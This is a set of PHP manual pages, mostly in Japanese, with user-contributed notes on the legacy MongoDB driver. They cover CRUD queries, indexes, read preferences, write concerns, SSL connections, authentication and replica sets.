fabian at fabfuel dot de 01-Mar-2014 06:21
If you do not specify a custom _id, the driver automatically pushes the generated _id to the given document.
After saving, you can directly access the created _id:

<?php
...
$collection->insert($doc);
var_dump($doc['_id'])

// example output
object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "4e2995576803fab768000000"
  }


MongoCollection::findOne によるドキュメントの検索

  • ≪ ドキュメントの追加
  • 複数のドキュメントの追加 ≫
  • PHP Manual
  • チュートリアル
  • MongoCollection::findOne によるドキュメントの検索

MongoCollection::findOne() によるドキュメントの検索

先ほどの例で追加したドキュメントを表示するには、 シンプルに MongoCollection::findOne() を実行してコレクションからドキュメントをひとつ取得します。 このメソッドは、クエリにマッチするドキュメントがひとつだけしかないときや 一件の結果にだけしか興味がない場合に便利です。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$document = $collection->findOne();
var_dump( $document );
?>

上の例の出力は以下となります。

array(6) {
  ["_id"]=>
  object(MongoId)#8 (1) {
    ["$id"]=>
    string(24) "4e2995576803fab768000000"
  }
  ["name"]=>
  string(7) "MongoDB"
  ["type"]=>
  string(8) "database"
  ["count"]=>
  int(1)
  ["info"]=>
  array(2) {
    ["x"]=>
    int(203)
    ["y"]=>
    int(102)
  }
  ["versions"]=>
  array(3) {
    [0]=>
    string(5) "0.9.7"
    [1]=>
    string(5) "0.9.8"
    [2]=>
    string(5) "0.9.9"
  }
}

_id フィールドが 自動的にドキュメントに追加されていることに注目しましょう。 _id は、いわゆる「主キー」フィールドです。 ドキュメントにキーがなければ、ドライバが自動的に追加します。

自前で _id フィールドを指定する場合は、 コレクション内で一意になるようにしなければなりません。 例をごらんください。

<?php
$connection = new MongoClient();
$db = $connection->database;

$db->foo->insert(array("_id" => 1));
// これは例外が発生します
$db->foo->insert(array("_id" => 1));

// こちらは別のコレクションなので大丈夫です
$db->bar->insert(array("_id" => 1));
?>

ドライバはデフォルトで、サーバーが書き込みを受け付けてから結果を返すことを保証します。 オプションでこの挙動をオフにすることもできます。その場合は、 array("w" => 0) を二番目の引数で渡します。 これは、データベース側での書き込み完了をドライバに待たせないことを意味します。 つまり、_id が重複していてもドライバは例外をスローしません。

参考

MongoCollection::findOne() に、 データの検索に関する詳細な情報があります。

MongoId には、一意な ID に関する詳細な説明があります。

書き込みのページでは、 安全な書き込みについてより詳しく扱っています。 また Write Concerns では、さまざまな Write Concern オプションについて解説します。

User Contributed Notes

There are no user contributed notes for this page.


複数のドキュメントの追加

もう少し意味のある問い合わせをするために、複数のシンプルなドキュメントをコレクションに追加しましょう。 ドキュメントは array( "i" => value ); 形式で、これをループ内で処理します。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

for ( $i = 0; $i < 100; $i++ )
{
    $collection->insert( array( 'i' => $i, "field{$i}" => $i * 2 ) );
}
?>

先ほどと同じコレクションに、別のキーを持つ配列を追加していることに注目しましょう。 MongoDB が「スキーマフリー」であると言われるのは、こういう側面があるからです。 上の例では、どのドキュメントにも i フィールドが存在します。ただそれだけではなく、 field + $i という名前のフィールドもあります。

User Contributed Notes

There are no user contributed notes for this page.


コレクション内のドキュメント数

これで 101 件のドキュメントを追加したことになります (先ほどのループで 100 件、そして最初の 1 件)。 本当にそうなっているか、MongoCollection::count() メソッドで確認してみましょう。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

echo $collection->count();
?>
結果は 101 と表示されます。

User Contributed Notes

There are no user contributed notes for this page.


カーソルを使った全ドキュメントの取得

コレクション内のすべてのドキュメントを取得するには MongoCollection::find() を使います。 find() メソッドは MongoCursor オブジェクトを返し、 これを使うとクエリにマッチしたドキュメントすべてに対する反復処理ができるようになります。 では、すべてのドキュメントを取得して表示させてみましょう。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$cursor = $collection->find();
foreach ( $cursor as $id => $value )
{
    echo "$id: ";
    var_dump( $value );
}
?>
これは、コレクション内の全 101 ドキュメントを表示します。 $id はドキュメントの _id フィールドで、 $value はドキュメントそのものです。

参考

MongoCollection::find() の API ドキュメントに、 データの検索に関する詳細な情報があります。

User Contributed Notes

There are no user contributed notes for this page.


問い合わせの条件の設定

クエリを作って MongoCollection::find() メソッドに渡せば、 コレクション内のドキュメントのサブセットを取得することができます。 たとえば、"i" フィールドの値が 71 であるドキュメントを探したいときは、 このようにします。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( 'i' => 71 );
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

上の例の出力は以下となります。

array(2) {
  ["_id"]=>
  object(MongoId)#6 (0) {
  }
  ["i"]=>
  int(71)
  ["_ns"]=>
  "testCollection"
}

User Contributed Notes

There are no user contributed notes for this page.


クエリによる複数ドキュメントの取得

クエリを使って、コレクションからドキュメントのセットを取得することができます。 たとえば、"i" > 50 であるすべてのドキュメントを取得したい場合は次のようにします。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( "i" => array( '$gt' => 50 ) ); // '$gt' と、シングルクォートで囲んでいることに注意しましょう
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

これは、"i" > 50 であるドキュメントをすべて表示します。また、 20 < i <= 30 のような範囲を指定することもできます。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$query = array( 'i' => array( '$gt' => 20, "\$lte" => 30 ) );
$cursor = $collection->find( $query );

while ( $cursor->hasNext() )
{
    var_dump( $cursor->getNext() );
}
?>

常に $ 記号をエスケープするか、あるいはシングルクォートを使うことを覚えておきましょう。 そうしないと、PHP はこれを変数 $gt と解釈してしまいます。

User Contributed Notes

There are no user contributed notes for this page.


インデックスの作成

MongoDB はインデックスをサポートしています。コレクションにインデックスを追加するのは簡単です。 インデックスを作るには、対象となるフィールドと並び順を指定します。 並び順は、昇順 (1) あるいは降順 (-1) のいずれかです。 この例では、"i" フィールドの昇順でインデックスを作成しています。

<?php
$connection = new MongoClient();
$collection = $connection->database->collectionName;

$collection->ensureIndex( array( "i" => 1 ) );  // "i" にインデックスを作ります
$collection->ensureIndex( array( "i" => -1, "j" => 1 ) );  // "i" の降順、"j" の昇順でインデックスを作ります
?>

データが増えても読み込みのパフォーマンスを維持するためには、インデックスが不可欠です。 インデックスについてよくわからない場合は、MongoCollection::ensureIndex() のドキュメントと、本家の » インデックスに関するドキュメント を参照ください。

User Contributed Notes

There are no user contributed notes for this page.


優先読み込み

MongoDB 2.2 およびドライバのバージョン 1.3.0 以降では » 優先読み込み をサポートします。これを使えば、レプリカセット環境内でクエリを mongod インスタンスに振り分ける方法を制御できます。 優先読み込みは接続ごとに指定することもできるし、 データベース単位やコレクション単位でも指定できます。 上位で設定された優先順位がデフォルトで引き継がれます (たとえば、MongoCollection の優先読み込み設定は、それに対応する MongoDB インスタンスでの定義を引き継ぎます)。

優先読み込みの指定は、モードとタグセットの組み合わせで行います。 mongod インスタンスの優先順位をどのように決めるのかを指定するのがモードで、 ふさわしい mongod インスタンスの条件を指定するのが » タグセット です。 mongod のインスタンスがそれにふさわしいと認められるのは、直近の mongod インスタンスからの ping 時間が 15ms 以内に収まるときだけです。

優先読み込みのモード

警告

MongoClient::RP_PRIMARY 以外のすべての優先読み込みモードは、 古いデータを返す可能性があります。 セカンダリがプライマリの操作を受け取るにはある程度時間がかかるからです。 MongoClient::RP_PRIMARY 以外のモードを選ぶ場合は、 最新のデータではなくてもアプリケーションがうまく動くように作っておかないといけません。

  • MongoClient::RP_PRIMARY

    すべての読み込み操作で、現在のレプリカセットのプライマリだけを使います。 これがデフォルト設定です。プライマリが使えないときは、読み込み操作で例外が発生します。

    このモードを選ぶとタグセットは使えません。 MongoClient::RP_PRIMARY のときにタグセットを指定すると、例外が発生します。

  • MongoClient::RP_PRIMARY_PREFERRED

    大半の場合は、読み込み操作をレプリカセットのプライマリから行います。 しかし、もしプライマリが使えない場合 (たとえばフェイルオーバー中の場合など) は、セカンダリのメンバーから読み込みます。

    優先読み込みにタグセットが含まれる場合、 クライアントはまずはプライマリから読み込みます。 そして、指定したタグにマッチするセカンダリから読み込みます。 タグにマッチするセカンダリがない場合は、読み込み操作で例外が発生します。

    警告

    mongos のバージョン 2.2 で、優先読み込みを完全にサポートするようになりました。 それより古いバージョンの mongos インスタンスに接続するときは、 MongoClient::RP_PRIMARY_PREFERRED はクエリをセカンダリに送信します。

  • MongoClient::RP_SECONDARY

    読み込み操作で、レプリカセットのセカンダリだけを使います。 もし使えるセカンダリがない場合は、読み込み操作で例外が発生します。

    ほとんどのレプリカセットには少なくとも一つのセカンダリがありますが、 場合によっては、使えるセカンダリが一つもないこともあります。 たとえばプライマリとセカンダリがそれぞれ一つずつで、 どちらかがリカバリ状態や使えない場合のセカンダリをアービターが持っていない場合です。

    優先読み込みにタグセットが含まれる場合、 クライアントは指定したタグにマッチするセカンダリを探します。 そして、一番近いグループのセカンダリの中からランダムに直接読み込みを行います。 タグにマッチするセカンダリがない場合は、読み込み操作で例外が発生します。

  • MongoClient::RP_SECONDARY_PREFERRED

    大半の場合は、読み込み操作をレプリカセットのセカンダリから行います。 しかし、もしプライマリだけしかメンバーが存在しない場合は、 プライマリから読み込みます。

    優先読み込みにタグセットが含まれる場合、 クライアントは指定したタグにマッチするセカンダリを探します。 そして、一番近いグループのセカンダリの中からランダムに直接読み込みを行います。 タグにマッチするセカンダリがない場合は、読み込み操作で例外が発生します。

  • MongoClient::RP_NEAREST

    ドライバは、ping 時間が最短のメンバーからの遅延が 15ms 以内に収まるメンバーの中から ランダムに 選び、そのメンバーから読み込みます。 MongoClient::RP_NEAREST モードでの読み込みは メンバーの型を意識しないので、プライマリから読まれることもあればセカンダリから読まれることもあります。

    このモードにしておくと、読み込み操作のネットワークレイテンシーを最小化できます。 現在のデータと古いデータのどちらを優先するかは設定しません。

    タグセットを指定した場合、 クライアントは指定したタグにマッチするメンバーを探します。 そして、一番近いグループのノードの中からランダムに直接読み込みを行います。

    注意:

    すべての読み込み操作は、指定した優先読み込みモードにマッチするレプリカセットの 一番近いメンバーから行います。 MongoClient::RP_NEAREST モードは、 メンバーがプライマリであるかセカンダリであるかは無視してレイテンシーの低い読み込みを行います。

タグセット

» タグセット を使うと、カスタムパラメータに基づいて読み込み操作の対象を特定のメンバーに絞り込めます。 タグセットでは、読み込み操作の対象となるメンバーを特定のデータセンターに絞り込んだり、 レポーティングや分析など操作種別ごとにその対象の mongod インスタンスを絞り込んだりできます。

タグセットを指定できるのは、優先読み込みが次のモードの場合です。

  • MongoClient::RP_PRIMARY_PREFERRED

  • MongoClient::RP_SECONDARY

  • MongoClient::RP_SECONDARY_PREFERRED

  • MongoClient::RP_NEAREST

優先読み込みモードが MongoClient::RP_PRIMARY の場合はタグセットを指定できません。 タグを適用できるのはセカンダリメンバーを選ぶときだけ (ただし、NEAREST モードのときは例外) です。

優先読み込みの指定

優先読み込みの設定方法は二通りあります。一つは MongoClient::__construct() に渡す接続 URI で指定する方法で、 このときはクエリ文字列の構文を使います。もうひとつはコアクラスのセッターメソッド群を使う方法で、 このときはタグセット用の配列構文を使います。

優先読み込みモードをクエリ文字列で指定する場合、 readPreferenceTags の値用のタグセットは、 コロンで区切ったキー/値のペアをカンマでつなげた形式になります。

注意:

クエリ文字列内で定義するタグセットには readPreferenceTags という名前を使います。 PHP が URL のクエリ文字列を処理するときとは違って、 readPreferenceTags を複数回指定したとしても上書きされることはありません。 クエリ文字列の中で登場した順に、ドライバがすべてのタグセットをとりまとめます。

警告

マッチするタグセットをドライバが見つけられない場合は、読み込みが失敗します! 適切な代替策を用意しておくのはプログラマの役割です。たとえば readPreferenceTags の値が空なら "no tag set preference" を使うなどです。

例1 接続 URI でのクエリ文字列構文による優先読み込みの設定

<?php
// 一番近いサーバーを優先し、タグは設定しません
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// "east" データセンターの一番近いサーバーを選びます
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// "east" データセンターの一番近いサーバーを選び、レポーティング用に使います
// 代替サーバーとして、"west" データセンターのサーバーを使います
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east,use:reporting';
$uri .= '&readPreferenceTags=dc:west';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));

// "east" データセンターの一番近いサーバーを優先し、
// 代替サーバーとして、"west" データセンターのサーバーを使います。
// それもだめな場合は、タグセットの設定をせずに接続します。
$uri  = 'mongodb://rs1.example.com,rs2.example.com/';
$uri .= '?readPreference=nearest';
$uri .= '&readPreferenceTags=dc:east';
$uri .= '&readPreferenceTags=dc:west';
$uri .= '&readPreferenceTags=';
$m = new MongoClient($uri, array('replicaSet' => 'rs'));
?>

例2 タグセット用の配列構文による優先読み込みの設定

<?php

$m = new MongoClient('mongodb://rs1.example.com,rs2.example.com', array(
    'replicaSet' => 'rs',
));

// 一番近いサーバーを優先し、タグは設定しません
$m->setReadPreference(MongoClient::RP_NEAREST, array());

// "east" データセンターの一番近いサーバーを優先します
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east'),
));

// "east" データセンターの一番近いサーバーを優先し、レポーティング用に使います
// 代替サーバーとして、"west" データセンターのサーバーを使います
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east', 'use' => 'reporting'),
    array('dc' => 'west'),
));

// "east" データセンターの一番近いサーバーを優先し、
// 代替サーバーとして、"west" データセンターのサーバーを使います。
// それもだめな場合は、タグセットの設定をせずに接続します。
$m->setReadPreference(MongoClient::RP_NEAREST, array(
    array('dc' => 'east'),
    array('dc' => 'west'),
    array(),
));
?>

User Contributed Notes

There are no user contributed notes for this page.


Write Concerns

MongoDB provides several different ways of selecting how durable a write to the database should be. These ways are called Write Concerns and span everything from completely ignoring all errors, to specifically targetting which servers are required to confirm the write before returning the operation.

When a write (such as with MongoCollection::insert(), MongoCollection::update(), and MongoCollection::remove()) is given a Write Concern option ("w") the driver will send the query to MongoDB and piggy back a getLastError command (GLE) with the Write Concern option at the same time. The server only returns when the Write Concern condition is verified to be fulfilled, or the query times out (controlled with the "wtimeout" option, 10000 milliseconds is the default).

警告

Even though a getLastError command times out the data will most likely have been written to the primary server and will be replicated to all the secondaries once they have caught up.

The typical reasons for a timeout to happen is if you specify a Write Concern which requires confirmation from more servers then you currently have available.

When using acknowledged writes and the replica set has failed over, the driver will automatically disconnect from the primary, throw an exception, and attempt to find a new primary on the next operation (your application must decide whether or not to retry the operation on the new primary).

When using unacknowledged writes (w=0) and the replica set has failed over, there will be no way for the driver to know about the change so it will continue and silently fail to write.

The default Write Concern for the MongoClient is 1: acknowledge write operations.

Available Write Concerns
Write Concern | Meaning | Description
w=0 | Unacknowledged | A write will not be followed up with a GLE call, and therefore not checked ("fire and forget")
w=1 | Acknowledged | The write will be acknowledged by the server (the primary on replica set configuration)
w=N | Replica Set Acknowledged | The write will be acknowledged by the primary server, and replicated to N-1 secondaries.
w=majority | Majority Acknowledged | The write will be acknowledged by the majority of the replica set (including the primary). This is a special reserved string.
w=<tag set> | Replica Set Tag Set Acknowledged | The write will be acknowledged by members of the entire tag set
j=true | Journaled | The write will be acknowledged by primary and the journal flushed to disk

Using WriteConcerns

Each of the methods that causes writes (MongoCollection::insert(), MongoCollection::update(), MongoCollection::remove(), and MongoCollection::batchInsert()) allow an optional argument to send a set of options to the MongoDB server. With this option array you can set the WriteConcern as the following example illustrates:

例1 Passing a WriteConcern to a write operation

<?php
// Setting w=0 for insert:
$collection->insert($someDoc, array("w" => 0));

// Setting w=majority for update:
$collection->update($someDoc, $someUpdates, array("w" => "majority"));

// Setting w=5 and j=true for remove:
$collection->update($someDoc, array("w" => 5, "j" => true));

// Setting w="AllDCs" for batchInsert:
$collection->update(array($someDoc1, $someDoc2), array("w" => "AllDCs"));
?>

Besides setting WriteConcerns per operation as an option argument, it is also possible to set a default WriteConcern in different ways.

The first way is through the connection string. The connection string accepts the journal, w, and wTimeoutMS options:

例2 Connection string WriteConcerns

<?php
$m = new MongoClient("mongodb://localhost/?journal=true&w=majority&wTimeoutMS=20000");
?>

Since driver version 1.5 it is also possible to call MongoDB::setWriteConcern() and MongoCollection::setWriteConcern() to set a default WriteConcern for all operations created from that specific MongoDB or MongoCollection object:

例3 MongoDB::setWriteConcern and MongoCollection::setWriteConcern

<?php
$m = new MongoClient("mongodb://localhost/");
$d = $m->demoDb;
$c = $d->demoCollection;

// Set w=3 on the database object with a timeout of 25000ms
$d->setWriteConcern(3, 25000);

// Set w=majority on the collection object without changing the timeout
$c->setWriteConcern("majority");
?>

Unacknowledged Writes

By not requiring the server to acknowledge writes the writes can be performed extremely quickly, but you don't know whether or not they actually succeeded. Writes can fail for a number of reasons: if there are network problems, if a database server goes down, or if the write was simply invalid (e.g., writing to a system collection; or duplicate key errors).

While developing, you should always use acknowledged writes (to protect against inadvertent mistakes, such as syntax errors, invalid operators, duplicate key errors and so on). In production, unacknowledged writes can be used for "unimportant" data. Unimportant data varies on application, but it's generally automatically (instead of user generated) data, such as click tracking or GPS locations, where you can get thousands of records per second.

It is strongly recommended that you do an acknowledged write at the end of series of unacknowledged writes. Doing so will not incur in a too large performance penalty, but still allow you to catch any errors that may have occurred.

例4 Unacknowledged WriteConcern, followed with Acknowledged Write

<?php
$collection->insert($someDoc, array("w" => 0));
$collection->update($criteria, $newObj, array("w" => 0));
$collection->insert($somethingElse, array("w" => 0));
try {
    $collection->remove($something, array("w" => 1));
} catch(MongoCursorException $e) {
    /* Handle the exception.. */
    /* Here we should issue find() queries on the IDs generated for
    $somethingElse and $someDoc to verify they got written to the database and
    attempt to figureout where in the chain something happened. */
}
?>

If the last write throws an exception, you know that there's a problem with your database.

Acknowledged Writes

These type of write operations will make sure that the database has accepted the write operation before returning success. If the write failed, it will throw a MongoCursorException with an explanation of the failure. The MongoClient default behaviour is to acknowledge the write (w=1).

It is possible to specify how many members of an replica set have to acknowledge the write (i.e. have it replicated) before the write is deemed acknowledged and the operation returns.

例5 Acknowledged Writes

<?php
// Force acknowledgement from the primary only
$collection->insert($doc, array("w" => 1));

// Force acknowledgement from the primary, and one other member of the
// replica set
$collection->insert($doc, array("w" => 2));

// Force acknowledgement from the primary, and six other members of the
// replica set (you probably never should do this):
$collection->insert($doc, array("w" => 7));
?>

Keep in mind to select your Write Concern carefully. If you have a replica set with 5 members, and you select Write Concern of 4 you will risk the write blocking forever when one member of the replica set goes down for maintenance or a temporary network outage happens.

警告

Passing in a string value for Write Concern has a specific meaning (Replica Set Tag Set Acknowledged). Please be careful of NOT using string values for numbers (i.e. array("w" => "1")) as it will be treated as a tag set name.

Majority Acknowledged Writes

Using the special majority Write Concern option is the recommended way for writes that are required to survive the apocalypse, as it will ensure the majority of your replica set will have the write and will therefore be guaranteed to survive all usual suspect outage scenarios.

例6 Majority Acknowledged Write

<?php
$collection->insert($someDoc, array("w" => "majority"));
?>

Journaled Writes

When connecting to a replica set the default Write Concern is only to have the primary server acknowledge the write. There is however a 100ms window until the write gets journaled and flushed to disk. It is possible to force the write to be journaled before acknowledging the write by setting the j option:

例7 Acknowledged and Journaled Write

Forcing journal flush

<?php
$options = array(
    "w" => 1,
    "j" => true,
);
try {
    $collection->insert($document, $options);
} catch(MongoCursorException $e) {
    /* handle the exception */
}
?>

参考

  • » MongoDB WriteConcern docs

変更履歴

バージョン | 説明
1.3.0 | MongoClient was introduced and defaults to acknowledged writes. The deprecated Mongo defaults to unacknowledged writes.
1.3.0 | The "safe" write option has been deprecated and is not available with the new MongoClient class. Use the "w" option instead.

User Contributed Notes

mikec 18-Nov-2014 05:56
Warning

Even though a getLastError command times out the data will most likely have been written to the primary server and will be replicated to all the secondaries once they have cought up.

**caught up


SQL から Mongo への対応表

これは、メインドキュメントにある » SQL から Mongo のマッピングチャートの PHP 版です。

SQL ステートメント | Mongo のクエリステートメント
CREATE TABLE USERS (a Number, b Number) | 暗黙に行うか、あるいは MongoDB::createCollection()。
INSERT INTO USERS VALUES(1,1) | $db->users->insert(array("a" => 1, "b" => 1));
SELECT a,b FROM users | $db->users->find(array(), array("a" => 1, "b" => 1));
SELECT * FROM users WHERE age=33 | $db->users->find(array("age" => 33));
SELECT a,b FROM users WHERE age=33 | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1));
SELECT a,b FROM users WHERE age=33 ORDER BY name | $db->users->find(array("age" => 33), array("a" => 1, "b" => 1))->sort(array("name" => 1));
SELECT * FROM users WHERE age>33 | $db->users->find(array("age" => array('$gt' => 33)));
SELECT * FROM users WHERE age<33 | $db->users->find(array("age" => array('$lt' => 33)));
SELECT * FROM users WHERE name LIKE "%Joe%" | $db->users->find(array("name" => new MongoRegex("/Joe/")));
SELECT * FROM users WHERE name LIKE "Joe%" | $db->users->find(array("name" => new MongoRegex("/^Joe/")));
SELECT * FROM users WHERE age>33 AND age<=40 | $db->users->find(array("age" => array('$gt' => 33, '$lte' => 40)));
SELECT * FROM users ORDER BY name DESC | $db->users->find()->sort(array("name" => -1));
CREATE INDEX myindexname ON users(name) | $db->users->ensureIndex(array("name" => 1));
CREATE INDEX myindexname ON users(name,ts DESC) | $db->users->ensureIndex(array("name" => 1, "ts" => -1));
SELECT * FROM users WHERE a=1 and b='q' | $db->users->find(array("a" => 1, "b" => "q"));
SELECT * FROM users LIMIT 20, 10 | $db->users->find()->limit(10)->skip(20);
SELECT * FROM users WHERE a=1 or b=2 | $db->users->find(array('$or' => array(array("a" => 1), array("b" => 2))));
SELECT * FROM users LIMIT 1 | $db->users->find()->limit(1);
EXPLAIN SELECT * FROM users WHERE z=3 | $db->users->find(array("z" => 3))->explain()
SELECT DISTINCT last_name FROM users | $db->command(array("distinct" => "users", "key" => "last_name"));
SELECT COUNT(*y) FROM users | $db->users->count();
SELECT COUNT(*y) FROM users where AGE > 30 | $db->users->find(array("age" => array('$gt' => 30)))->count();
SELECT COUNT(AGE) from users | $db->users->find(array("age" => array('$exists' => true)))->count();
UPDATE users SET a=1 WHERE b='q' | $db->users->update(array("b" => "q"), array('$set' => array("a" => 1)));
UPDATE users SET a=a+2 WHERE b='q' | $db->users->update(array("b" => "q"), array('$inc' => array("a" => 2)));
DELETE FROM users WHERE z="abc" | $db->users->remove(array("z" => "abc"));

User Contributed Notes

There are no user contributed notes for this page.


接続

目次

  • SSL での接続
  • 認証
  • レプリカセット
  • シャーディング
  • ドメインソケットのサポート
  • 持続的接続 (バージョン 1.3.0 以降)
  • 接続プーリング (バージョン 1.2.0-1.2.12 限定)
  • 手動での持続的接続 (バージョン 1.1.4 まで限定)

MongoDB への接続は単に new Mongo とするだけの簡単なものですが、 オプションや設定項目が多数あります。 MongoClient::__construct() のページにすべての API オプションをまとめましたが、ここではより実用的な使用例とアドバイスをとりあげます。

User Contributed Notes

daveg at smartbombinteractive dot com 14-Jan-2013 05:18
I was getting "couldn't determine master" when trying to connect to a replica set.  It turns out there was a typo in my /etc/hosts entry for on of the replica set members.
Anonymous 28-Nov-2012 05:05
The whole part of persistent connections is outdated. In version 1.3.0:

≪Removed the "persist" option, as all connections are now persistent. It can still be used, but it doesn't affect anything.≫

As a matter of fact, this note is also wrong. Using option "persist" will throw an

Uncaught exception 'MongoConnectionException' with message '- Found unknown connection string option 'persist' with value 'x'
james at dunmore dot me dot uk 19-Jul-2012 11:19
We've got a strange gotcha (it maybe a bug with the mongo driver and we will raise an appropriate bug with them), but I think this is worth noting here.....

We were connecting to a replica set, but always getting "couldn't determine master" being returned. Connecting to individual notes without replicaset being set worked fine (directly to the master, or slave okay for reads). Replicaset working fine, and all setup okay.

The issue was our network setup, despite being able to resolve dbname-X.domain.com the server names were returning as dbname-X without the domain.

Pinging dbname-X worked, but for some reason the driver isn't resolving it. Adding the entry to hosts fixed this though.


SSL での接続

このドライバは » MongoDB over SSL 接続に対応しています。また、オプションで SSL ストリームコンテキスト を使えば、 指定した証明書チェーンによる証明書の検証や、 » X509 証明書による MongoDB への接続といった機能も利用できます。

例1 SSL を使った MongoDB インスタンスへの接続

<?php
$mc = new MongoClient("mongodb://server1", array("ssl" => true));
?>

例2 SSL を使った MongoDB インスタンスへの接続と、証明書の検証

<?php
$SSL_DIR = "/vagrant/certs";
$SSL_FILE = "CA_Root_Certificate.pem";

$ctx = stream_context_create(array(
    "ssl" => array(
        /* Certificate Authority the remote server certificate must be signed by */
        "cafile"            => $SSL_DIR . "/" . $SSL_FILE,

        /* Disable self signed certificates */
        "allow_self_signed" => false,

        /* Verify the peer certificate against our provided Certificate Authority root certificate */
        "verify_peer"       => true, /* Default to false pre PHP 5.6 */

        /* Verify the peer name (e.g. hostname validation) */
        /* Will use the hostname used to connec to the node */
        "verify_peer_name"  => true,

        /* Verify the server certificate has not expired */
        "verify_expiry"     => true, /* Only available in the MongoDB PHP Driver */
    ),
);

$mc = new MongoClient(
    "mongodb://server1",
    array("ssl" => true),
    array("context" => $ctx)
);
?>

注意:

"verify_peer_name" は PHP 5.6.0 で導入されました。 しかし、MongoDB ドライバの 1.6.5 以降ではこの機能をドライバ自身にバックポートして組み込んでいるので、 PHP 5.3 や 5.4 でも使えます。

例3 クライアント証明書を要求する MongoDB インスタンスへの接続

<?php
$SSL_DIR  = "/vagrant/certs";
$SSL_FILE = "CA_Root_Certificate.pem";

$MYCERT   = "/vagrant/certs/ca-signed-client.pem";

$ctx = stream_context_create(array(
    "ssl" => array(
        "local_cert"        => $MYCERT,
        /* If the certificate we are providing was passphrase encoded, we need to set it here */
        "passphrase"        => "My Passphrase for the local_cert",

        /* Optionally verify the server is who he says he is */
        "cafile"            => $SSL_DIR . "/" . $SSL_FILE,
        "allow_self_signed" => false,
        "verify_peer"       => true,
        "verify_peer_name"  => true,
        "verify_expiry"     => true,
    ),
));

$mc = new MongoClient(
    "mongodb://server1/?ssl=true",
    array(),
    array("context" => $ctx)
);
?>

例4 X.509 証明書による認証

ユーザー名は、X509 の certificate subject から次のように取得できます。

openssl x509 -in /vagrant/certs/ca-signed-client.pem -inform PEM -subject -nameopt RFC2253
<?php
$ctx = stream_context_create( array(
    "ssl" => array(
        "local_cert" => "/vagrant/certs/ca-signed-client.pem",
    )
) );

$mc = new MongoClient(
    'mongodb://username@server1/?authSource=$external&authMechanism=MONGODB-X509&ssl=true',
    array(),
    array("context" => $ctx)
);
?>

ここで、username は certificate subject となります。

変更履歴

バージョン | 説明
1.5.0 | X509 認証のサポートが追加されました。
1.4.0 | SSL を使って MongoDB に接続できるようになりました。

User Contributed Notes

There are no user contributed notes for this page.


認証

MongoDB を --auth あるいは --keyFile オプションつきで起動すると、 まずログインしないとドライバを使った操作ができなくなります。 接続時の認証をするには、ユーザー名とパスワードを接続 URI に指定するか、あるいは MongoClient::__construct() でオプション "username" および "password" を指定します。

例1 "admin" データベースに対する認証

<?php
// ユーザー名とパスワードを接続 URI で指定する方法 (推奨)
$m = new MongoClient("mongodb://${username}:${password}@localhost");

// ユーザー名とパスワードをオプションの配列で指定する方法 (別の方法)
$m = new MongoClient("mongodb://localhost", array("username" => $username, "password" => $password));
?>

デフォルトでは、ドライバは admin データベースに対する認証を試みます。別のデータベースに対する認証をするには、 データベースを接続 URI に指定するか、あるいは MongoClient::__construct() でオプション "db" を指定します。

例2 通常のデータベースに対する認証

<?php
// 認証データベースを接続 URI で指定する方法 (推奨)
$m = new MongoClient("mongodb://${username}:${password}@localhost/myDatabase");

// 認証データベースをオプションの配列で指定する方法 (別の方法)
$m = new MongoClient("mongodb://${username}:${password}@localhost", array("db" => "myDatabase"));
?>

接続が落ちると、ドライバが自動的に再接続と再認証を試みます。

User Contributed Notes

dan at kayakaddict dot co dot uk 25-May-2015 04:18
For connecting to a replica set with authentication it is possible to use a connection string like the following (substitute the port numbers, replica set name and DB with your own)

$m = new MongoClient("mongodb://${username}:${password}@localhost:27037,mongodb://${username}:${password}@localhost:27038",
array("replicaSet" => "test"_replica, "db" => "mytestdb"));

The second member string "mongodb://${username}:${password}@localhost:27038" does not need the username and password - however, if the connection to the first member fails I have not tested to see if the username and password persist to the second member.
davida at quickplay dot com 05-Jan-2015 04:11
How does this work for connections to replication sets?

Does the connection string become:
"mongodb://user:password@server1:27017,server2:27017,server3:27017"


レプリカセット

レプリカセットに接続するには、セットに属するサーバーをひとつ以上指定して、 さらに replicaSet オプションを使います。 複数のサーバーを指定するときには、カンマで区切ります。

例1 レプリカセットのシードリスト

<?php
// 複数のサーバーをシードリストとして使います (推奨)
$m = new MongoClient("mongodb://rs1.example.com:27017,rs2.example.com:27017/?replicaSet=myReplSetName");

// 単一のサーバーをシードリストとして使います
$m = new MongoClient("mongodb://rs1.example.com:27017", array("replicaSet" => "myReplSetName"));

// 複数のサーバーをシードリストとして使います
$m = new MongoClient("mongodb://rs1.example.com:27017,rs2.example.com:27017", array("replicaSet" => "myReplSetName"));
?>

PHP ドライバは、指定したサーバー群に問い合わせてどれがプライマリなのかを調べます。 リストにあげたサーバーのうち少なくともひとつに接続でき、 プライマリが見つかってさえいれば接続が成功したとみなされます。 どのサーバーにも接続できない、あるいはプライマリが見つからないといった場合は MongoConnectionException がスローされます。

ヒント

レプリカセットのシードリストは、常に複数のメンバーに適用しなければいけません。 高可用性を確保するには、データセンターごとに少なくとも一つシードを用意すべきです。

警告

シードリスとで指定したホスト名は、レプリカセットの設定で指定した名前と 必ず 一致しなければいけません。 ドライバは、レプリカセットの設定で指定したホスト名だけを使って、 持続的接続用のハッシュを作るからです。

